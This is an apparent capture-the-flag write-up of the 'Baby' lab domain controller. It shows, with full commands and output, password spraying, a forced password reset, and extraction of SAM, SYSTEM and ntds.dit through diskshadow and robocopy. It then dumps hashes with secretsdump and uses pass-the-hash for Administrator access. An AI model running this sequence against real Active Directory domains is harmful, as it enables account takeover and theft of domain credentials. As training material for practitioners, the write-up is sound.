Baby
Introduction:
Baby is a Windows machine running Active Directory featuring a Domain Controller exposed with LDAP, SMB, and WinRM services.
Initial enumeration via an anonymous LDAP bind reveals a full list of domain users, including a description field on Teresa.Bell containing a default onboarding password. Password spraying the discovered credential against all enumerated users reveals that Caroline.Robinson has the same default password set with a forced reset on next logon. Using smbpasswd to change the password grants access via Evil-WinRM, where the user flag is retrieved.
Privilege escalation leverages Caroline.Robinson’s membership in the Backup Operators group, which grants SeBackupPrivilege and SeRestorePrivilege. A VSS shadow copy of the C: drive is created using diskshadow, and robocopy with the /b (backup) flag is used to extract ntds.dit alongside the SYSTEM registry hive. Running impacket-secretsdump against the offline files dumps all domain credential hashes, including the Administrator’s NT hash. A Pass-the-Hash attack via Evil-WinRM grants a shell as Administrator and access to the root flag.
Reconnaissance:
We start with a nmap scan.
Nmap scan:
1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
2└─$ ports=$(nmap -p- --min-rate=1000 -T4 10.129.32.227 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
3
4┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
5└─$ nmap -p$ports -sV -sC 10.129.32.227
6Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-10 11:39 +0200
7Nmap scan report for 10.129.32.227
8Host is up (0.10s latency).
9
10PORT STATE SERVICE VERSION
1153/tcp open domain Simple DNS Plus
1288/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-05-10 09:39:58Z)
13135/tcp open msrpc Microsoft Windows RPC
14139/tcp open netbios-ssn Microsoft Windows netbios-ssn
15389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: baby.vl, Site: Default-First-Site-Name)
16445/tcp open microsoft-ds?
17464/tcp open kpasswd5?
18593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
19636/tcp open tcpwrapped
203268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: baby.vl, Site: Default-First-Site-Name)
213269/tcp open tcpwrapped
223389/tcp open ms-wbt-server Microsoft Terminal Services
23| ssl-cert: Subject: commonName=BabyDC.baby.vl
24| Not valid before: 2026-05-09T09:34:16
25|_Not valid after: 2026-11-08T09:34:16
26| rdp-ntlm-info:
27| Target_Name: BABY
28| NetBIOS_Domain_Name: BABY
29| NetBIOS_Computer_Name: BABYDC
30| DNS_Domain_Name: baby.vl
31| DNS_Computer_Name: BabyDC.baby.vl
32| DNS_Tree_Name: baby.vl
33| Product_Version: 10.0.20348
34|_ System_Time: 2026-05-10T09:40:47+00:00
35|_ssl-date: 2026-05-10T09:41:27+00:00; 0s from scanner time.
365985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
37|_http-title: Not Found
38|_http-server-header: Microsoft-HTTPAPI/2.0
399389/tcp open mc-nmf .NET Message Framing
4049664/tcp open msrpc Microsoft Windows RPC
4149668/tcp open msrpc Microsoft Windows RPC
4260402/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
4360403/tcp open msrpc Microsoft Windows RPC
4460412/tcp open msrpc Microsoft Windows RPC
4562143/tcp open msrpc Microsoft Windows RPC
4662155/tcp open msrpc Microsoft Windows RPC
47Service Info: Host: BABYDC; OS: Windows; CPE: cpe:/o:microsoft:windows
48
49Host script results:
50| smb2-security-mode:
51| 3.1.1:
52|_ Message signing enabled and required
53| smb2-time:
54| date: 2026-05-10T09:40:48
55|_ start_date: N/A
56
57Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
58Nmap done: 1 IP address (1 host up) scanned in 101.20 seconds
59
60┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
61└─$
Okay first of all we can see that we are dealing with a domain controller (DC) called BABYDC in a domain called BABY. The Product_Version: 10.0.20348 can be mapped to Windows 2022 Build 20348. We can also see that it runs with LDAP, Kerberos, SMB, RDP and WinRM. SMB requires signing so relay attacks wont work.
Enumeration:
Lets see if we can get some user information.
LDAPSearch:
1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
2└─$ ldapsearch -x -H ldap://baby.vl -b "DC=baby,DC=vl" -s sub "(objectClass=person)" sAMAccountName description
3# extended LDIF
4#
5# LDAPv3
6# base <DC=baby,DC=vl> with scope subtree
7# filter: (objectClass=person)
8# requesting: sAMAccountName description
9#
10
11# Guest, Users, baby.vl
12dn: CN=Guest,CN=Users,DC=baby,DC=vl
13description: Built-in account for guest access to the computer/domain
14sAMAccountName: Guest
15
16# Jacqueline Barnett, dev, baby.vl
17dn: CN=Jacqueline Barnett,OU=dev,DC=baby,DC=vl
18sAMAccountName: Jacqueline.Barnett
19
20# Ashley Webb, dev, baby.vl
21dn: CN=Ashley Webb,OU=dev,DC=baby,DC=vl
22sAMAccountName: Ashley.Webb
23
24# Hugh George, dev, baby.vl
25dn: CN=Hugh George,OU=dev,DC=baby,DC=vl
26sAMAccountName: Hugh.George
27
28# Leonard Dyer, dev, baby.vl
29dn: CN=Leonard Dyer,OU=dev,DC=baby,DC=vl
30sAMAccountName: Leonard.Dyer
31
32# Connor Wilkinson, it, baby.vl
33dn: CN=Connor Wilkinson,OU=it,DC=baby,DC=vl
34sAMAccountName: Connor.Wilkinson
35
36# Joseph Hughes, it, baby.vl
37dn: CN=Joseph Hughes,OU=it,DC=baby,DC=vl
38sAMAccountName: Joseph.Hughes
39
40# Kerry Wilson, it, baby.vl
41dn: CN=Kerry Wilson,OU=it,DC=baby,DC=vl
42sAMAccountName: Kerry.Wilson
43
44# Teresa Bell, it, baby.vl
45dn: CN=Teresa Bell,OU=it,DC=baby,DC=vl
46description: Set initial password to BabyStart123!
47sAMAccountName: Teresa.Bell
48
49# search reference
50ref: ldap://ForestDnsZones.baby.vl/DC=ForestDnsZones,DC=baby,DC=vl
51
52# search reference
53ref: ldap://DomainDnsZones.baby.vl/DC=DomainDnsZones,DC=baby,DC=vl
54
55# search reference
56ref: ldap://baby.vl/CN=Configuration,DC=baby,DC=vl
57
58# search result
59search: 2
60result: 0 Success
61
62# numResponses: 13
63# numEntries: 9
64# numReferences: 3
65
66┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
67└─$
Awesome it looks like somebody has a bad password policy regarding on-boarding new users, Teresa.Bell from IT may have a temporary password BabyStart123!.
I did try to test the password on Teresa.Bell with crackmapexec but it failed:
1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
2└─$ crackmapexec smb baby.vl -u Teresa.Bell -p 'BabyStart123!'
3[*] First time use detected
4[*] Creating home directory structure
5[*] Creating default workspace
6[*] Initializing SMB protocol database
7[*] Initializing WINRM protocol database
8[*] Initializing LDAP protocol database
9[*] Initializing FTP protocol database
10[*] Initializing RDP protocol database
11[*] Initializing SSH protocol database
12[*] Initializing MSSQL protocol database
13[*] Copying default configuration file
14[*] Generating SSL certificate
15SMB baby.vl 445 BABYDC [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
16SMB baby.vl 445 BABYDC [-] baby.vl\Teresa.Bell:BabyStart123! STATUS_LOGON_FAILURE
17
18┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
19└─$
Lets do a password spray instead to see if any of the users in the domain has the password in use. But lets ensure that we have all the domain users first.
Use ldapsearch again but grep "dn" (Distinguished Name) this time:
1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
2└─$ ldapsearch -x -H ldap://baby.vl -b "DC=baby,DC=vl" "*" | grep "dn:"
3dn: DC=baby,DC=vl
4dn: CN=Administrator,CN=Users,DC=baby,DC=vl
5dn: CN=Guest,CN=Users,DC=baby,DC=vl
6dn: CN=krbtgt,CN=Users,DC=baby,DC=vl
7dn: CN=Domain Computers,CN=Users,DC=baby,DC=vl
8dn: CN=Domain Controllers,CN=Users,DC=baby,DC=vl
9dn: CN=Schema Admins,CN=Users,DC=baby,DC=vl
10dn: CN=Enterprise Admins,CN=Users,DC=baby,DC=vl
11dn: CN=Cert Publishers,CN=Users,DC=baby,DC=vl
12dn: CN=Domain Admins,CN=Users,DC=baby,DC=vl
13dn: CN=Domain Users,CN=Users,DC=baby,DC=vl
14dn: CN=Domain Guests,CN=Users,DC=baby,DC=vl
15dn: CN=Group Policy Creator Owners,CN=Users,DC=baby,DC=vl
16dn: CN=RAS and IAS Servers,CN=Users,DC=baby,DC=vl
17dn: CN=Allowed RODC Password Replication Group,CN=Users,DC=baby,DC=vl
18dn: CN=Denied RODC Password Replication Group,CN=Users,DC=baby,DC=vl
19dn: CN=Read-only Domain Controllers,CN=Users,DC=baby,DC=vl
20dn: CN=Enterprise Read-only Domain Controllers,CN=Users,DC=baby,DC=vl
21dn: CN=Cloneable Domain Controllers,CN=Users,DC=baby,DC=vl
22dn: CN=Protected Users,CN=Users,DC=baby,DC=vl
23dn: CN=Key Admins,CN=Users,DC=baby,DC=vl
24dn: CN=Enterprise Key Admins,CN=Users,DC=baby,DC=vl
25dn: CN=DnsAdmins,CN=Users,DC=baby,DC=vl
26dn: CN=DnsUpdateProxy,CN=Users,DC=baby,DC=vl
27dn: CN=dev,CN=Users,DC=baby,DC=vl
28dn: CN=Jacqueline Barnett,OU=dev,DC=baby,DC=vl
29dn: CN=Ashley Webb,OU=dev,DC=baby,DC=vl
30dn: CN=Hugh George,OU=dev,DC=baby,DC=vl
31dn: CN=Leonard Dyer,OU=dev,DC=baby,DC=vl
32dn: CN=Ian Walker,OU=dev,DC=baby,DC=vl
33dn: CN=it,CN=Users,DC=baby,DC=vl
34dn: CN=Connor Wilkinson,OU=it,DC=baby,DC=vl
35dn: CN=Joseph Hughes,OU=it,DC=baby,DC=vl
36dn: CN=Kerry Wilson,OU=it,DC=baby,DC=vl
37dn: CN=Teresa Bell,OU=it,DC=baby,DC=vl
38dn: CN=Caroline Robinson,OU=it,DC=baby,DC=vl
39
40┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
41└─$
Looks like we missed Ian Walker and Caroline Robinson.
Exploitation:
Now create a file with the users it should look like this:
1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
2└─$ cat users.txt
3Jacqueline.Barnett
4Ashley.Webb
5Hugh.George
6Leonard.Dyer
7Ian.Walker
8Connor.Wilkinson
9Joseph.Hughes
10Kerry.Wilson
11Caroline.Robinson
12┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
13└─$
Use crackmapexec to do a password spray:
1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
2└─$ crackmapexec smb baby.vl -u users.txt -p 'BabyStart123!' --continue-on-success
3SMB baby.vl 445 BABYDC [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
4SMB baby.vl 445 BABYDC [-] baby.vl\Jacqueline.Barnett:BabyStart123! STATUS_LOGON_FAILURE
5SMB baby.vl 445 BABYDC [-] baby.vl\Ashley.Webb:BabyStart123! STATUS_LOGON_FAILURE
6SMB baby.vl 445 BABYDC [-] baby.vl\Hugh.George:BabyStart123! STATUS_LOGON_FAILURE
7SMB baby.vl 445 BABYDC [-] baby.vl\Leonard.Dyer:BabyStart123! STATUS_LOGON_FAILURE
8SMB baby.vl 445 BABYDC [-] baby.vl\Ian.Walker:BabyStart123! STATUS_LOGON_FAILURE
9SMB baby.vl 445 BABYDC [-] baby.vl\Connor.Wilkinson:BabyStart123! STATUS_LOGON_FAILURE
10SMB baby.vl 445 BABYDC [-] baby.vl\Joseph.Hughes:BabyStart123! STATUS_LOGON_FAILURE
11SMB baby.vl 445 BABYDC [-] baby.vl\Kerry.Wilson:BabyStart123! STATUS_LOGON_FAILURE
12SMB baby.vl 445 BABYDC [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE
13
14┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
15└─$
Okay it looks like we need to help Caroline change her password.
Lets change it from Caroline.Robinson:BabyStart123! to Caroline.Robinson:BabyStart456!.
Use smbpasswd to change the password:
1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
2└─$ smbpasswd -r baby.vl -U Caroline.Robinson
3Old SMB password:
4New SMB password:
5Retype new SMB password:
6Password changed for user Caroline.Robinson
7
8┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
9└─$
Now lets try to get a foothold with evil-winrm:
1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
2└─$ evil-winrm -i baby.vl -u Caroline.Robinson -p 'BabyStart456!'
3
4Evil-WinRM shell v3.9
5
6Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
7
8Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
9
10Info: Establishing connection to remote endpoint
11*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents>
Post-Exploitation:
Get the user flag to begin with:
1*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> cd ../Desktop/
2*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> dir
3
4
5 Directory: C:\Users\Caroline.Robinson\Desktop
6
7
8Mode LastWriteTime Length Name
9---- ------------- ------ ----
10-ar--- 5/10/2026 9:35 AM 34 user.txt
11
12
13*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> cat user.txt
1464e2263af27c985faad988062690648d
15*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop>
Enumerating as Caroline.Robinson:
Check what privileges we have and what groups we are members of:
1*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> whoami /all
2
3USER INFORMATION
4----------------
5
6User Name SID
7====================== ==============================================
8baby\caroline.robinson S-1-5-21-1407081343-4001094062-1444647654-1115
9
10
11GROUP INFORMATION
12-----------------
13
14Group Name Type SID Attributes
15========================================== ================ ============================================== ==================================================
16Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
17BUILTIN\Backup Operators Alias S-1-5-32-551 Mandatory group, Enabled by default, Enabled group
18BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
19BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
20BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
21NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
22NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
23NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
24BABY\it Group S-1-5-21-1407081343-4001094062-1444647654-1109 Mandatory group, Enabled by default, Enabled group
25NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
26Mandatory Label\High Mandatory Level Label S-1-16-12288
27
28
29PRIVILEGES INFORMATION
30----------------------
31
32Privilege Name Description State
33============================= ============================== =======
34SeMachineAccountPrivilege Add workstations to domain Enabled
35SeBackupPrivilege Back up files and directories Enabled
36SeRestorePrivilege Restore files and directories Enabled
37SeShutdownPrivilege Shut down the system Enabled
38SeChangeNotifyPrivilege Bypass traverse checking Enabled
39SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
40
41
42USER CLAIMS INFORMATION
43-----------------------
44
45User claims unknown.
46
47Kerberos support for Dynamic Access Control on this device has been disabled.
48*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop>
Being member of the Backup Operators group gives one permission to read all files on the system including SAM and SYSTEM hives, were NTLM hashes hides.
Privilege Escalation:
Dump the SAM and SYSTEM hive:
1*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> mkdir C:\Temp
2
3
4 Directory: C:\
5
6
7Mode LastWriteTime Length Name
8---- ------------- ------ ----
9d----- 5/10/2026 2:13 PM Temp
10
11
12*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> reg save HKLM\SAM C:\Temp\SAM
13The operation completed successfully.
14
15*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> reg save HKLM\SYSTEM C:\Temp\SYSTEM
16The operation completed successfully.
17
18*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> cd C:\Temp
19*Evil-WinRM* PS C:\Temp> dir
20
21
22 Directory: C:\Temp
23
24
25Mode LastWriteTime Length Name
26---- ------------- ------ ----
27-a---- 5/10/2026 2:13 PM 49152 SAM
28-a---- 5/10/2026 2:13 PM 20676608 SYSTEM
29
30
31*Evil-WinRM* PS C:\Temp> download SAM
32
33Info: Downloading C:\Temp\SAM to SAM
34
35Info: Download successful!
36*Evil-WinRM* PS C:\Temp> download SYSTEM
37
38Info: Downloading C:\Temp\SYSTEM to SYSTEM
39
40Info: Download successful!
41*Evil-WinRM* PS C:\Temp>
Extract the hashes with impacket:
1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
2└─$ impacket-secretsdump -sam SAM -system SYSTEM LOCAL
3Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
4
5[*] Target system bootKey: 0x191d5d3fd5b0b51888453de8541d7e88
6[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
7Administrator:500:aad3b435b51404eeaad3b435b51404ee:8d992faed38128ae85e95fa35868bb43:::
8Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
9DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
10[*] Cleaning up...
11
12┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
13└─$
Pass-the-Hash as Administrator with evil-winrm:
1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
2└─$ evil-winrm -i baby.vl -u Administrator -H 8d992faed38128ae85e95fa35868bb43
3
4Evil-WinRM shell v3.9
5
6Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
7
8Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
9
10Info: Establishing connection to remote endpoint
11*Evil-WinRM* PS C:\> whoami
12
13Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
14
15Error: Exiting with code 1
16
17┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
18└─$
That didn’t work because we using the local hashes. We need the domain hashes thats in the NT Directory Services Database or NTDS.dit file.
The only problem is that even with SeBackUpPrivilege we cannot copy it because its locked.
So we need to get creative.
We could use a shadow copy or diskshadow trick.
Make a diskshadow script that creates a persistent shadow copy of the C: drive and mount it to another drive letter and run it:
1*Evil-WinRM* PS C:\Temp> $script = @(
2 "set context persistent nowriters",
3 "add volume c: alias pwn",
4 "create",
5 "expose %pwn% z:"
6)
7
8*Evil-WinRM* PS C:\Temp> $script | Out-File -FilePath C:\Temp\shadow.txt -Encoding ASCII
9
10*Evil-WinRM* PS C:\Temp> type C:\Temp\shadow.txt
11set context persistent nowriters
12add volume c: alias pwn
13create
14expose %pwn% z:
15
16*Evil-WinRM* PS C:\Temp> diskshadow /s C:\Temp\shadow.txt
17Microsoft DiskShadow version 1.0
18Copyright (C) 2013 Microsoft Corporation
19On computer: BABYDC, 5/10/2026 3:08:19 PM
20
21-> set context persistent nowriters
22-> add volume c: alias pwn
23-> create
24Alias pwn for shadow ID {19dda347-1245-4248-96ac-c686f2069de0} set as environment variable.
25Alias VSS_SHADOW_SET for shadow set ID {a093e3b3-e50b-4a5b-b469-138b017a3d54} set as environment variable.
26
27Querying all shadow copies with the shadow copy set ID {a093e3b3-e50b-4a5b-b469-138b017a3d54}
28
29 * Shadow copy ID = {19dda347-1245-4248-96ac-c686f2069de0} %pwn%
30 - Shadow copy set: {a093e3b3-e50b-4a5b-b469-138b017a3d54} %VSS_SHADOW_SET%
31 - Original count of shadow copies = 1
32 - Original volume name: \\?\Volume{711fc68a-0000-0000-0000-100000000000}\ [C:\]
33 - Creation time: 5/10/2026 3:08:20 PM
34 - Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
35 - Originating machine: BabyDC.baby.vl
36 - Service machine: BabyDC.baby.vl
37 - Not exposed
38 - Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5}
39 - Attributes: No_Auto_Release Persistent No_Writers Differential
40
41Number of shadow copies listed: 1
42-> expose %pwn% z:
43-> %pwn% = {19dda347-1245-4248-96ac-c686f2069de0}
44The shadow copy was successfully exposed as z:\.
45->
46
47*Evil-WinRM* PS C:\Temp>
Now lets use robocopy to copy the NTDS.dit file and then download it:
1*Evil-WinRM* PS C:\Temp> robocopy /b z:\windows\ntds C:\Temp ntds.dit
2
3-------------------------------------------------------------------------------
4 ROBOCOPY :: Robust File Copy for Windows
5-------------------------------------------------------------------------------
6
7 Started : Sunday, May 10, 2026 3:09:55 PM
8 Source : z:\windows\ntds\
9 Dest : C:\Temp\
10
11 Files : ntds.dit
12
13 Options : /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30
14
15------------------------------------------------------------------------------
16
17 1 z:\windows\ntds\
18 New File 16.0 m ntds.dit
19
20
21[...]
22
23------------------------------------------------------------------------------
24
25 Total Copied Skipped Mismatch FAILED Extras
26 Dirs : 1 0 1 0 0 0
27 Files : 1 1 0 0 0 0
28 Bytes : 16.00 m 16.00 m 0 0 0 0
29 Times : 0:00:00 0:00:00 0:00:00 0:00:00
30
31
32 Speed : 76,608,292 Bytes/sec.
33 Speed : 4,383.562 MegaBytes/min.
34 Ended : Sunday, May 10, 2026 3:09:55 PM
35
36*Evil-WinRM* PS C:\Temp> download ntds.dit
37
38Info: Downloading C:\Temp\ntds.dit to ntds.dit
39
40Info: Download successful!
41*Evil-WinRM* PS C:\Temp>
Use impacket to dump the hashes:
1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
2└─$ impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
3Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
4
5[*] Target system bootKey: 0x191d5d3fd5b0b51888453de8541d7e88
6[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
7[*] Searching for pekList, be patient
8[*] PEK # 0 found and decrypted: 41d56bf9b458d01951f592ee4ba00ea6
9[*] Reading and decrypting hashes from ntds.dit
10Administrator:500:aad3b435b51404eeaad3b435b51404ee:ee4457ae59f1e3fbd764e33d9cef123d:::
11
12[...]
13
14[*] Cleaning up...
15
16┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
17└─$
Lets Pass-the-Hash as Administrator with evil-winrm:
1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Baby]
2└─$ evil-winrm -i baby.vl -u Administrator -H ee4457ae59f1e3fbd764e33d9cef123d
3
4Evil-WinRM shell v3.9
5
6Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
7
8Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
9
10Info: Establishing connection to remote endpoint
11*Evil-WinRM* PS C:\Users\Administrator\Documents>
Get the Root flag!:
1*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop/
2*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir
3
4
5 Directory: C:\Users\Administrator\Desktop
6
7
8Mode LastWriteTime Length Name
9---- ------------- ------ ----
10-ar--- 5/10/2026 9:35 AM 34 root.txt
11
12
13*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
14bfdf51fde2ff6157fb19f68e6391572f
15*Evil-WinRM* PS C:\Users\Administrator\Desktop>
Completion:
